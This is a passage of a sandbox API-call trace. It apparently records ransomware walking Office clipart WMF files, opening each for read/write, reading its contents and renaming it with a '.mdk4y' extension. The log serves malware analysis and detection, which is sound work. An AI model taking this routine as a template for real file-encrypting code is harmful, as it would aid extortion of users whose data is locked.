cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185776.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.875] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823210600000) returned 1 [0156.876] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x69d8, lpOverlapped=0x0) returned 1 [0156.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823216200000) returned 1 [0156.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823216200000) returned 1 [0156.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.mdk4y")) returned 1 [0156.934] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.934] AreFileApisANSI () returned 1 [0156.934] GetACP () returned 0x4e4 [0156.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185778.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185778.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.934] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823216500000) returned 1 [0156.935] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62e0, lpOverlapped=0x0) returned 1 [0156.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823216800000) returned 1 [0156.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823216800000) returned 1 [0156.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.mdk4y")) returned 1 [0156.939] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.939] AreFileApisANSI () returned 1 [0156.939] GetACP () returned 0x4e4 [0156.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185780.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185780.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.939] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823216900000) returned 1 [0156.939] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe956, lpOverlapped=0x0) returned 1 [0157.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823233800000) returned 1 [0157.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823233800000) returned 1 [0157.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.mdk4y")) returned 1 [0157.110] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0157.110] AreFileApisANSI () returned 1 [0157.110] GetACP () returned 0x4e4 [0157.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185786.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185786.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0157.110] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0157.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823234000000) returned 1 [0157.111] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x99a2, lpOverlapped=0x0) returned 1 [0157.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823246200000) returned 1 [0157.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823246200000) returned 1 [0157.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.mdk4y")) returned 1 [0157.233] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0157.233] AreFileApisANSI () returned 1 [0157.233] GetACP () returned 0x4e4 [0157.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185790.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185790.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0157.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0157.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823246400000) returned 1 [0157.234] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x50b6, lpOverlapped=0x0) returned 1 [0157.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823253400000) returned 1 [0157.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823253400000) returned 1 [0157.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.mdk4y")) returned 1 [0157.305] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0157.305] AreFileApisANSI () returned 1 [0157.305] GetACP () returned 0x4e4 [0157.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185796.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185796.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0157.305] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0157.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823253600000) returned 1 [0157.306] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x650c, lpOverlapped=0x0) returned 1 [0157.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823270100000) returned 1 [0157.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823270200000) returned 1 [0157.472] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.mdk4y")) returned 1 [0157.473] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0157.473] AreFileApisANSI () returned 1 [0157.473] GetACP () returned 0x4e4 [0157.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185798.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185798.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0157.473] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0157.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823270400000) returned 1 [0157.474] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8420, lpOverlapped=0x0) returned 1 [0157.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823271600000) returned 1 [0157.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823271700000) returned 1 [0157.487] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.mdk4y")) returned 1 [0157.495] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0157.495] AreFileApisANSI () returned 1 [0157.495] GetACP () returned 0x4e4 [0157.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185800.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185800.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0157.496] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0157.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823272600000) returned 1 [0157.497] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5eae, lpOverlapped=0x0) returned 1 [0157.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823279400000) returned 1 [0157.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823279400000) returned 1 [0157.565] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.mdk4y")) returned 1 [0157.566] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0157.566] AreFileApisANSI () returned 1 [0157.566] GetACP () returned 0x4e4 [0157.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185806.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185806.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0157.566] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0157.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823279600000) returned 1 [0157.566] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x773a, lpOverlapped=0x0) returned 1 [0157.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823280600000) returned 1 [0157.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823280600000) returned 1 [0157.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.mdk4y")) returned 1 [0157.578] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0157.578] AreFileApisANSI () returned 1 [0157.578] GetACP () returned 0x4e4 [0157.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185818.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185818.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0157.578] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0157.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823280800000) returned 1 [0157.579] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b8e, lpOverlapped=0x0) returned 1 [0157.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823297300000) returned 1 [0157.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823297300000) returned 1 [0158.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.mdk4y")) returned 1 [0158.172] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.172] AreFileApisANSI () returned 1 [0158.172] GetACP () returned 0x4e4 [0158.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185828.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185828.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.172] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823340300000) returned 1 [0158.173] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e74, lpOverlapped=0x0) returned 1 [0158.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823348500000) returned 1 [0158.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823348500000) returned 1 [0158.255] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.mdk4y")) returned 1 [0158.256] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.256] AreFileApisANSI () returned 1 [0158.256] GetACP () returned 0x4e4 [0158.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185834.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185834.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.256] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823348700000) returned 1 [0158.257] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2182, lpOverlapped=0x0) returned 1 [0158.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823376900000) returned 1 [0158.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823377000000) returned 1 [0158.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.mdk4y")) returned 1 [0158.541] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.541] AreFileApisANSI () returned 1 [0158.541] GetACP () returned 0x4e4 [0158.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185842.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185842.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.541] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823377200000) returned 1 [0158.542] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x37e4, lpOverlapped=0x0) returned 1 [0158.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823377300000) returned 1 [0158.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823377300000) returned 1 [0158.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.mdk4y")) returned 1 [0158.544] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.544] AreFileApisANSI () returned 1 [0158.544] GetACP () returned 0x4e4 [0158.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0186346.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0186346.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.544] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823377400000) returned 1 [0158.544] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21da, lpOverlapped=0x0) returned 1 [0158.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823389200000) returned 1 [0158.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823389200000) returned 1 [0158.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.mdk4y")) returned 1 [0158.664] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.664] AreFileApisANSI () returned 1 [0158.664] GetACP () returned 0x4e4 [0158.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0186360.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0186360.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.664] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 